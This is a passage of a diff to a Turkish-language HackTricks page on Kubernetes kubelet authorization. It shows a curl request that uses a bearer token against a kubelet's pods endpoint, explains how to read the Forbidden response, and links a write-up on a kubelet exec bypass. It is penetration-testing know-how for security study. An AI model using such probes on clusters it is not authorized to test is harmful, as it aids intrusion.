abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details. + +Örneğin, aşağıdaki istek kubelet'in pod bilgilerine izin olmadan erişmeye çalıştı: ```bash curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods' Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy) ``` -- **Yasaklı** bir yanıt aldık, bu nedenle istek **Kimlik Doğrulama kontrolünü geçti**. Aksi takdirde, sadece bir `Yetkisiz` mesajı alırdık. -- **Kullanıcı adı** (bu durumda token'dan) görebiliyoruz. -- **Kaynağın** **düğümler** olduğunu ve **alt kaynağın** **proxy** olduğunu kontrol edin (bu, önceki bilgilerle mantıklıdır). +- Bir **Forbidden** aldık; bu, isteğin **kimlik doğrulama kontrolünü geçtiğini** gösteriyor. Aksi takdirde yalnızca `Unauthorised` mesajı alırdık. +- **username**'ı görebiliyoruz (bu durumda token'dan). +- **resource**'un **nodes** ve **subresource**'un **proxy** olduğunu kontrol edin (bu, önceki bilgilerle mantıklı). ## Referanslar - [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce) {{#include ../../../banners/hacktricks-training.md}}